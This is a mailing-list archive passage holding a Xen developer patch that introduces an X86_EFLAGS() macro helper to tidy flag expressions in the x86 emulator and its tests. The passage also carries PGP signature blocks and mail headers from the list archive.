bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------rQYV7CqueS207LqZIK6XYUaP--

--------------XbpG1UKf0tojx2JE0CTNCueJ--

--------------MGcRpTDU0oCkYcUoLAW2n8pv
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpqDZkFAwAAAAAACgkQsN6d1ii/Ey9b
jAgAg8Ezmt2wSUBU1aT+h8Gb2bULq018e+fhwHnXVBuiGsOZrec8n9o1E8hWqRfVJUSKbK5on9nh
2W6wEielY3JdeTbWbQRDhWPMU+vt5iiaaJV2eaadOw3QfSQS55J2m9vGbxCuHUJzkAJbLJuPd627
b2zx+nZ6PpgpdADSLmmKyIPRh7esYs2t5c6RI1Cplmfq6oVMuEUPjP1FzQb5EF2TpBTMOUjVPU0Z
RpH84sOnUS0rizre2ainZugdOc7hmv4S0LgLQnnxgniPOUPY0Sky+nc0NB8KuUJSt6L92AtxotAE
SYepT1EH5iC8M0r7nxHwCHyHZYopoRfy6aEj4d77NA==
=oW6/
-----END PGP SIGNATURE-----

--------------MGcRpTDU0oCkYcUoLAW2n8pv--


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 14:31:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 14:31:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376073.1623043 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5K1-00028M-46; Wed, 29 Jul 2026 14:31:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376073.1623043; Wed, 29 Jul 2026 14:31:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5K0-00028F-W3; Wed, 29 Jul 2026 14:31:48 +0000
Received: by outflank-mailman (input) for mailman id 1376073;
 Wed, 29 Jul 2026 14:31:48 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wp5Jz-000285-Ps
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:31:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp5Jy-000WyZ-M3
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 16:31:46 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6a0ecb-2eae-0a2a0a5409dd-0a2a4508b6a2-20
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:31:46 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6a0ed2-f659-0a2a45080019-d155dd2ccc17-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 16:31:46 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-47f633e6058so998525f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:31:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45c338fsm161752875e9.8.2026.07.29.07.31.44
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 07:31:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785335506; x=1785940306; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=n8FzEXahxTT2oA5nPR8NeIcjAvEXQFVgoeQBHxfVpeo=;
        b=A2IlZN94QEcMz0NGbhzfS68yUYtnI+p4u+riTjuCOIviahjdBHPZgo3DmRNC53Gzzg
         SKaqwpkLcTufsL1WqaDOJEWIx6NrYypEJr2c6CY1ncZRUX2xmbfACW++Ql5veTutrVsD
         +QU6pTI+Bg9NiEGpSmfTv1eqWbjVYsCJI6h+GmDPSIwlbUjq4WdxIEK1oJJ89765EK+1
         hQlPAsLsirBN+YqJy84Nji1BgP4hbJ0TmH9ykUlO4ypp310IqBopwtCIjKwjzPzai/6c
         6+a+o1n6ghBgElX/Q7F8YRWvpAc9J2bjppPBJo7rkTAS82DBHK4wBYSQPaBkROCTgbR4
         C2lQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785335506; x=1785940306;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=n8FzEXahxTT2oA5nPR8NeIcjAvEXQFVgoeQBHxfVpeo=;
        b=jHcanP7YL8d+HMC791ycYvfj1wyWzVWRJzQDeHNHgUY2Gk4egC+6cTseuDxuVIOVZS
         DIl89q7wNdx67Dv6X9n6TU9WsbnY0OwYzeK9zRw8zF3nk0KnT4GpDaM/rg8rO/AHux4e
         rrrWM5L7AIOZAJ8DNtnJhLzvzXdK3N7qC3oEMoUrnzX05CTnnp6UsDL2rBp1gypJJSkG
         wQalKiRJAP4Tdz18BPeuLdLirfMX8irMojJBZSs941iS/e8pdDPLY1VMU+F/j5DlFbNw
         ECRCAY3B0NEe33xSC2r8zM1kGctnba0VagIO0TN6p/AIanVCu4KidImsMRfm66uQ7epm
         GsgQ==
X-Gm-Message-State: AOJu0YxAqWenUIO9RWL5cv9Sw7Yu255wYwJ1rHDTFQndI84FDe/Ignbb
	RcBFOVQDMmZIf0g4iYb2K/vtaD1lZvhi0O45kHMJ6VWsgUfM+PsdrcF4TnLP5t3PrFNu6q9jgUz
	rcMcDuQ==
X-Gm-Gg: AR+sD10eDQc7tmLXhSzy1KIC7AVohLScJ/nKUit0xwM/Qzl4qgSmhMtyNi/FzpiPTKo
	SQR+fRO6msFMATaxgdHcfXglq2O5aBHc5jgmuYUDqjMdMvjmfccZ5vTiRw4wMBpPPLmuf5eW9iE
	luJbo/kLW86RVaMtGh6wFBk/8ORlacTl/W3LnWK65nsB/Jq3LtwFcsLOhTM2BWbOR6JMs+R1Kpp
	ttQ1jO7xG7ZG6aTKP82nmsoQmsOj8l0aT1pCjUe7qz/Pk4lLdtktzzGvDGz9KWTHR7VnkLKixa5
	xq5VQXHcLzHMoA8JuBnszcqGeCXz/ELII1EGYYGygKUNaEYvWs24oIrRQ4e2bEju4YslYRHBHio
	WkAHRWeVUwzRaAooMw1niOC0cUeVDfCIs1GpOKz158ytbGWTOR9kQ5jJ6Bmhimh+Vjl+gvyd9ni
	RqijwDQJsb97c2fHCWdCwhoqe6J2m/rDPxuup2/uXrjNU0VeCKObZthWC88vLCGd8Sx7ukZ4PDQ
	D+K83lvkDYThm5OEfmpIYExvnSuMwQg1aCnNG6ROsfVteWT7UXe
X-Received: by 2002:a05:600c:8b27:b0:495:7303:e38c with SMTP id 5b1f17b1804b1-496c6586ab9mr79088155e9.28.1785335505656;
        Wed, 29 Jul 2026 07:31:45 -0700 (PDT)
Message-ID: <dafa7422-eae1-44f8-af49-9ed70cc2c5a4@suse.com>
Date: Wed, 29 Jul 2026 16:31:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH] x86emul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7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1785335506-D6B4187B-454B0160/0/0
X-purgate-type: clean
X-purgate-size: 25364

Sequences of X86_EFLAGS_* ORed together aren't very readable. XTF has a
nice way of improving this - adopt this for the eumlator as well, with a
few minor tweaks.

No change to generated code, except of course for embedded line numbers.

Requested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Of course in principle this could be put in xen/include/macros.h for use
elsewhere in the hypervisor. That would, however, require duplicating
everything into e.g. tools/include/xen-tools/common-macros.h, for test and
fuzzing harnesses to still build.

--- a/tools/tests/x86_emulator/Makefile
+++ b/tools/tests/x86_emulator/Makefile
@@ -308,7 +308,8 @@ x86.h := $(addprefix $(XEN_ROOT)/tools/i
                      x86-vendors.h x86-defns.h msr-index.h) \
          $(addprefix $(XEN_ROOT)/tools/include/xen/lib/x86/, \
                      cpu-policy.h cpuid-autogen.h)
-x86_emulate.h := x86-emulate.h x86_emulate/x86_emulate.h x86_emulate/private.h $(x86.h)
+x86_emulate.h := x86-emulate.h x86_emulate/x86_emulate.h \
+                 x86_emulate/macros.h x86_emulate/private.h $(x86.h)
 
 $(OBJS): %.o: %.c $(x86_emulate.h)
 	$(HOSTCC) $(HOSTCFLAGS) -c -g -o $@ $<
--- a/tools/tests/x86_emulator/test_x86_emulator.c
+++ b/tools/tests/x86_emulator/test_x86_emulator.c
@@ -1,4 +1,5 @@
 #include "x86-emulate.h"
+#include "x86_emulate/macros.h"
 
 #include <errno.h>
 #include <limits.h>
@@ -813,7 +814,7 @@ static struct x86_emulate_ops emulops =
     .put_fpu    = emul_test_put_fpu,
 };
 
-#define EFLAGS_ALWAYS_SET (X86_EFLAGS_IF | X86_EFLAGS_MBS)
+#define EFLAGS_ALWAYS_SET X86_EFLAGS(IF, MBS)
 #define EFLAGS_MASK (X86_EFLAGS_ARITH_MASK | EFLAGS_ALWAYS_SET)
 
 #define MMAP_ADDR 0x100000
@@ -1179,7 +1180,7 @@ int main(int argc, char **argv)
     rc = x86_emulate(&ctxt, &emulops);
     if ( (rc != X86EMUL_OKAY) ||
          (*res != 0x11223344) ||
-         ((regs.eflags & (EFLAGS_MASK & ~(X86_EFLAGS_OF|X86_EFLAGS_AF)))
+         ((regs.eflags & (EFLAGS_MASK & ~X86_EFLAGS(OF, AF)))
           != (EFLAGS_ALWAYS_SET | X86_EFLAGS_PF)) ||
          (regs.eip != (unsigned long)&instr[4]) )
         goto fail;
@@ -1194,8 +1195,7 @@ int main(int argc, char **argv)
     rc = x86_emulate(&ctxt, &emulops);
     if ( (rc != X86EMUL_OKAY) ||
          (*res != 0x2233445D) ||
-         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS_ZF |
-                          X86_EFLAGS_CF)) !=
+         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS(ZF, CF))) !=
           (EFLAGS_ALWAYS_SET | X86_EFLAGS_CF)) ||
          (regs.eip != (unsigned long)&instr[4]) )
         goto fail;
@@ -1211,9 +1211,8 @@ int main(int argc, char **argv)
     rc = x86_emulate(&ctxt, &emulops);
     if ( (rc != X86EMUL_OKAY) ||
          (*res != 0x2233445E) ||
-         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS_ZF |
-                          X86_EFLAGS_CF)) !=
-          (EFLAGS_ALWAYS_SET | X86_EFLAGS_ZF | X86_EFLAGS_CF)) ||
+         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS(ZF, CF))) !=
+          (EFLAGS_ALWAYS_SET | X86_EFLAGS(ZF, CF))) ||
          (regs.eip != (unsigned long)&instr[3]) )
         goto fail;
     printf("okay\n");
@@ -1228,8 +1227,7 @@ int main(int argc, char **argv)
     rc = x86_emulate(&ctxt, &emulops);
     if ( (rc != X86EMUL_OKAY) ||
          (*res != 0x2233445C) ||
-         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS_ZF |
-                          X86_EFLAGS_CF)) !=
+         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS(ZF, CF))) !=
           (EFLAGS_ALWAYS_SET | X86_EFLAGS_CF)) ||
          (regs.rip != (unsigned long)&instr[4]) )
         goto fail;
@@ -1481,9 +1479,8 @@ int main(int argc, char **argv)
          (regs.eax != 0x89abcdef * 0x12345678) ||
          (regs.edx != (uint64_t)((int64_t)(int32_t)0x89abcdef *
                                  0x12345678) >> 32) ||
-         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS_CF |
-                          X86_EFLAGS_OF)) !=
-          (EFLAGS_ALWAYS_SET | X86_EFLAGS_CF | X86_EFLAGS_OF)) ||
+         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS(CF, OF))) !=
+          (EFLAGS_ALWAYS_SET | X86_EFLAGS(CF, OF))) ||
          (regs.eip != (unsigned long)&instr[3]) )
         goto fail;
     printf("okay\n");
@@ -1498,9 +1495,8 @@ int main(int argc, char **argv)
     rc = x86_emulate(&ctxt, &emulops);
     if ( (rc != X86EMUL_OKAY) ||
          (regs.ecx != 0x89abcdef * 3) ||
-         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS_CF |
-                          X86_EFLAGS_OF)) !=
-          (EFLAGS_ALWAYS_SET | X86_EFLAGS_CF | X86_EFLAGS_OF)) ||
+         ((regs.eflags & (EFLAGS_ALWAYS_SET | X86_EFLAGS(CF, OF))) !=
+          (EFLAGS_ALWAYS_SET | X86_EFLAGS(CF, OF))) ||
          (regs.eip != (unsigned long)&instr[4]) )
         goto fail;
     printf("okay\n");
@@ -1663,8 +1659,7 @@ int main(int argc, char **argv)
              (regs.r9 != 0x0102030411223344UL) ||
              (regs.rbx != 0x0101010101010101UL) ||
              ((regs.eflags & EFLAGS_MASK) !=
-              (X86_EFLAGS_CF | X86_EFLAGS_PF | X86_EFLAGS_SF |
-               EFLAGS_ALWAYS_SET)) ||
+              (X86_EFLAGS(CF, PF, SF) | EFLAGS_ALWAYS_SET)) ||
              (res[0] != 0x12233445) ||
              (res[1] != 0x02030405) )
             goto fail;
@@ -1694,8 +1689,7 @@ int main(int argc, char **argv)
              (regs.r9 != 0x0102030411223344UL) ||
              (regs.rbx != 0x02030405) ||
              ((regs.eflags & EFLAGS_MASK) !=
-              (X86_EFLAGS_CF | X86_EFLAGS_PF | X86_EFLAGS_SF |
-               EFLAGS_ALWAYS_SET)) ||
+              (X86_EFLAGS(CF, PF, SF) | EFLAGS_ALWAYS_SET)) ||
              (res[0] + 1) ||
              (res[1] != 0x13253749) ||
              (res[2] + 1) )
@@ -2089,11 +2083,10 @@ int main(int argc, char **argv)
 
         *res        = 0xfedcba98;
         regs.edx    = (unsigned long)res;
-        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS_OF | X86_EFLAGS_SF | \
-                      X86_EFLAGS_ZF;
+        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS(OF, SF, ZF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( (rc != X86EMUL_OKAY) || regs.ecx != 8 || *res != 0xfedcba98 ||
-             (regs.eflags & (EFLAGS_MASK & ~(X86_EFLAGS_AF | X86_EFLAGS_PF))) !=
+             (regs.eflags & (EFLAGS_MASK & ~X86_EFLAGS(AF, PF))) !=
               (EFLAGS_ALWAYS_SET | X86_EFLAGS_CF) ||
              !check_eip(blsi) )
             goto fail;
@@ -2111,11 +2104,10 @@ int main(int argc, char **argv)
                        :: "d" (NULL) );
         set_insn(blsmsk);
 
-        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS_OF | X86_EFLAGS_SF | \
-                      X86_EFLAGS_ZF | X86_EFLAGS_CF;
+        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS(OF, SF, ZF, CF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( (rc != X86EMUL_OKAY) || regs.ecx != 0xf || *res != 0xfedcba98 ||
-             (regs.eflags & (EFLAGS_MASK & ~(X86_EFLAGS_AF | X86_EFLAGS_PF))) !=
+             (regs.eflags & (EFLAGS_MASK & ~X86_EFLAGS(AF, PF))) !=
               EFLAGS_ALWAYS_SET ||
              !check_eip(blsmsk) )
             goto fail;
@@ -2133,11 +2125,10 @@ int main(int argc, char **argv)
                        :: "d" (NULL) );
         set_insn(blsr);
 
-        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS_OF | X86_EFLAGS_ZF | \
-                      X86_EFLAGS_CF;
+        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS(OF, ZF, CF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( (rc != X86EMUL_OKAY) || regs.ecx != 0xfedcba90 ||
-             (regs.eflags & (EFLAGS_MASK & ~(X86_EFLAGS_AF | X86_EFLAGS_PF))) !=
+             (regs.eflags & (EFLAGS_MASK & ~X86_EFLAGS(AF, PF))) !=
               (EFLAGS_ALWAYS_SET | X86_EFLAGS_SF) ||
              !check_eip(blsr) )
             goto fail;
@@ -2151,11 +2142,10 @@ int main(int argc, char **argv)
         memcpy(instr, blsr, blsr_end - blsr);
         instr[2] |= 0x80;
         regs.rip = (unsigned long)&instr[0];
-        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS_OF | X86_EFLAGS_ZF | \
-                      X86_EFLAGS_CF;
+        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS(OF, ZF, CF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( (rc != X86EMUL_OKAY) || regs.ecx != 0xfedcba90 ||
-             (regs.eflags & (EFLAGS_MASK & ~(X86_EFLAGS_AF | X86_EFLAGS_PF))) !=
+             (regs.eflags & (EFLAGS_MASK & ~X86_EFLAGS(AF, PF))) !=
               (EFLAGS_ALWAYS_SET | X86_EFLAGS_SF) ||
              (regs.rip != (unsigned long)&instr[blsr_end - blsr]) )
             goto fail;
@@ -2181,12 +2171,11 @@ int main(int argc, char **argv)
 
         regs.ecx    = (unsigned long)res;
         regs.edx    = 0xff13;
-        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS_OF | X86_EFLAGS_SF | \
-                      X86_EFLAGS_ZF | X86_EFLAGS_CF;
+        regs.eflags = EFLAGS_ALWAYS_SET | X86_EFLAGS(OF, SF, ZF, CF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( (rc != X86EMUL_OKAY) || regs.ebx != (*res & 0x7ffff) ||
              regs.edx != 0xff13 || *res != 0xfedcba98 ||
-             (regs.eflags & (EFLAGS_MASK & ~(X86_EFLAGS_AF | X86_EFLAGS_PF))) !=
+             (regs.eflags & (EFLAGS_MASK & ~X86_EFLAGS(AF, PF))) !=
               EFLAGS_ALWAYS_SET ||
              !check_eip(bzhi) )
             goto fail;
@@ -4274,13 +4263,11 @@ int main(int argc, char **argv)
         set_insn(pcmpestri);
         regs.eax = regs.edx = 12;
         regs.ecx = (unsigned long)res;
-        regs.eflags = X86_EFLAGS_PF | X86_EFLAGS_AF |
-                      X86_EFLAGS_IF | X86_EFLAGS_OF;
+        regs.eflags = X86_EFLAGS(PF, AF, IF, OF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( rc != X86EMUL_OKAY || !check_eip(pcmpestri) ||
              regs.ecx != 9 ||
-             (regs.eflags & X86_EFLAGS_ARITH_MASK) !=
-             (X86_EFLAGS_CF | X86_EFLAGS_ZF | X86_EFLAGS_SF) )
+             (regs.eflags & X86_EFLAGS_ARITH_MASK) != X86_EFLAGS(CF, ZF, SF) )
             goto fail;
         printf("okay\n");
     }
@@ -4298,15 +4285,13 @@ int main(int argc, char **argv)
 
         set_insn(pcmpestrm);
         regs.ecx = (unsigned long)res;
-        regs.eflags = X86_EFLAGS_PF | X86_EFLAGS_AF |
-                      X86_EFLAGS_IF | X86_EFLAGS_OF;
+        regs.eflags = X86_EFLAGS(PF, AF, IF, OF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( rc != X86EMUL_OKAY || !check_eip(pcmpestrm) )
             goto fail;
         asm ( "pmovmskb %%xmm0, %0" : "=r" (rc) );
         if ( rc != 0x0e00 ||
-             (regs.eflags & X86_EFLAGS_ARITH_MASK) !=
-             (X86_EFLAGS_CF | X86_EFLAGS_ZF | X86_EFLAGS_SF) )
+             (regs.eflags & X86_EFLAGS_ARITH_MASK) != X86_EFLAGS(CF, ZF, SF) )
             goto fail;
         printf("okay\n");
     }
@@ -4323,13 +4308,11 @@ int main(int argc, char **argv)
                        :: "m" (res[0]), "c" (NULL) );
 
         set_insn(pcmpistri);
-        regs.eflags = X86_EFLAGS_CF | X86_EFLAGS_PF | X86_EFLAGS_AF |
-                      X86_EFLAGS_IF | X86_EFLAGS_OF;
+        regs.eflags = X86_EFLAGS(CF, PF, AF, IF, OF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( rc != X86EMUL_OKAY || !check_eip(pcmpistri) ||
              regs.ecx != 16 ||
-             (regs.eflags & X86_EFLAGS_ARITH_MASK) !=
-             (X86_EFLAGS_ZF | X86_EFLAGS_SF) )
+             (regs.eflags & X86_EFLAGS_ARITH_MASK) != X86_EFLAGS(ZF, SF) )
             goto fail;
         printf("okay\n");
     }
@@ -4347,14 +4330,14 @@ int main(int argc, char **argv)
 
         set_insn(pcmpistrm);
         regs.ecx = (unsigned long)res;
-        regs.eflags = X86_EFLAGS_PF | X86_EFLAGS_AF | X86_EFLAGS_IF;
+        regs.eflags = X86_EFLAGS(PF, AF, IF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( rc != X86EMUL_OKAY || !check_eip(pcmpistrm) )
             goto fail;
         asm ( "pmovmskb %%xmm0, %0" : "=r" (rc) );
         if ( rc != 0xffff ||
-            (regs.eflags & X86_EFLAGS_ARITH_MASK) !=
-            (X86_EFLAGS_CF | X86_EFLAGS_ZF | X86_EFLAGS_SF | X86_EFLAGS_OF) )
+             (regs.eflags & X86_EFLAGS_ARITH_MASK) !=
+             X86_EFLAGS(CF, ZF, SF, OF) )
             goto fail;
         printf("okay\n");
     }
@@ -4384,13 +4367,11 @@ int main(int argc, char **argv)
         regs.eax = 0x7fffffff;
 #endif
         regs.esi = (unsigned long)res;
-        regs.eflags = X86_EFLAGS_PF | X86_EFLAGS_AF | X86_EFLAGS_SF |
-                      X86_EFLAGS_IF | X86_EFLAGS_OF;
+        regs.eflags = X86_EFLAGS(PF, AF, SF, IF, OF);
         rc = x86_emulate(&ctxt, &emulops);
         if ( rc != X86EMUL_OKAY || !check_eip(vpcmpestri) ||
              regs.ecx != 11 ||
-             (regs.eflags & X86_EFLAGS_ARITH_MASK) !=
-             (X86_EFLAGS_ZF | X86_EFLAGS_CF) )
+             (regs.eflags & X86_EFLAGS_ARITH_MASK) != X86_EFLAGS(ZF, CF) )
             goto fail;
         printf("okay\n");
     }
--- a/tools/tests/x86_emulator/x86-emulate.h
+++ b/tools/tests/x86_emulator/x86-emulate.h
@@ -72,6 +72,10 @@
 # define ASM_FLAG_OUT(yes, no) no
 #endif
 
+#define count_args_(dot, a1, a2, a3, a4, a5, a6, a7, a8, x, ...) x
+#define count_args(args...) \
+    count_args_(., ## args, 8, 7, 6, 5, 4, 3, 2, 1, 0)
+
 #define hweight32 __builtin_popcount
 #define hweight64 __builtin_popcountll
 
--- a/xen/arch/x86/x86_emulate/0f01.c
+++ b/xen/arch/x86/x86_emulate/0f01.c
@@ -8,6 +8,7 @@
  * Copyright (c) 2005-2007 XenSource Inc.
  */
 
+#include "macros.h"
 #include "private.h"
 
 #ifdef __XEN__
--- a/xen/arch/x86/x86_emulate/0fc7.c
+++ b/xen/arch/x86/x86_emulate/0fc7.c
@@ -8,6 +8,7 @@
  * Copyright (c) 2005-2007 XenSource Inc.
  */
 
+#include "macros.h"
 #include "private.h"
 
 /* Avoid namespace pollution. */
--- a/xen/arch/x86/x86_emulate/blk.c
+++ b/xen/arch/x86/x86_emulate/blk.c
@@ -5,6 +5,7 @@
  * Generic x86 (32-bit and 64-bit) instruction decoder and emulator.
  */
 
+#include "macros.h"
 #include "private.h"
 
 #if !defined(X86EMUL_NO_FPU) || !defined(X86EMUL_NO_MMX) || \
--- a/xen/arch/x86/x86_emulate/fpu.c
+++ b/xen/arch/x86/x86_emulate/fpu.c
@@ -8,6 +8,7 @@
  * Copyright (c) 2005-2007 XenSource Inc.
  */
 
+#include "macros.h"
 #include "private.h"
 
 #ifdef __XEN__
@@ -71,7 +72,7 @@ do {
     invoke_stub(_PRE_EFLAGS("[eflags]", "[mask]", "[tmp]"),             \
                 _POST_EFLAGS("[eflags]", "[mask]", "[tmp]"),            \
                 [eflags] "+g" (regs->eflags), [tmp] "=&r" (tmp_)        \
-                : [mask] "i" (X86_EFLAGS_ZF|X86_EFLAGS_PF|X86_EFLAGS_CF)); \
+                : [mask] "i" (X86_EFLAGS(ZF, PF, CF)));                 \
     put_stub(stub);                                                     \
 } while (0)
 
--- /dev/null
+++ b/xen/arch/x86/x86_emulate/macros.h
@@ -0,0 +1,26 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/******************************************************************************
+ * macros.h - helpers for the emulator as well as the test and fuzzing harnesses
+ */
+
+#ifndef X86_EMULATE_MACROS_H
+#define X86_EMULATE_MACROS_H
+
+#define VAR_MACRO__(m, c, count, args...) m##count(c, ## args)
+#define VAR_MACRO_(m, c, count, args...) VAR_MACRO__(m, c, count, ## args)
+#define VAR_MACRO(m, c, args...) VAR_MACRO_(m, c, count_args(args), ## args)
+
+#define TOK_OR1(t, x)       (t ## x)
+#define TOK_OR2(t, x, y)    ((t ## x) | TOK_OR1(t, y))
+#define TOK_OR3(t, x, y...) ((t ## x) | TOK_OR2(t, ## y))
+#define TOK_OR4(t, x, y...) ((t ## x) | TOK_OR3(t, ## y))
+#define TOK_OR5(t, x, y...) ((t ## x) | TOK_OR4(t, ## y))
+#define TOK_OR6(t, x, y...) ((t ## x) | TOK_OR5(t, ## y))
+#define TOK_OR7(t, x, y...) ((t ## x) | TOK_OR6(t, ## y))
+#define TOK_OR8(t, x, y...) ((t ## x) | TOK_OR7(t, ## y))
+
+#define TOK_OR(stem, tok...) VAR_MACRO(TOK_OR, stem, ## tok)
+
+#define X86_EFLAGS(flg...) TOK_OR(X86_EFLAGS_, ## flg)
+
+#endif /* X86_EMULATE_MACROS_H */
--- a/xen/arch/x86/x86_emulate/private.h
+++ b/xen/arch/x86/x86_emulate/private.h
@@ -439,16 +439,14 @@ struct x87_env32 {
  * These EFLAGS bits are restored from saved value during emulation, and
  * any changes are written back to the saved value after emulation.
  */
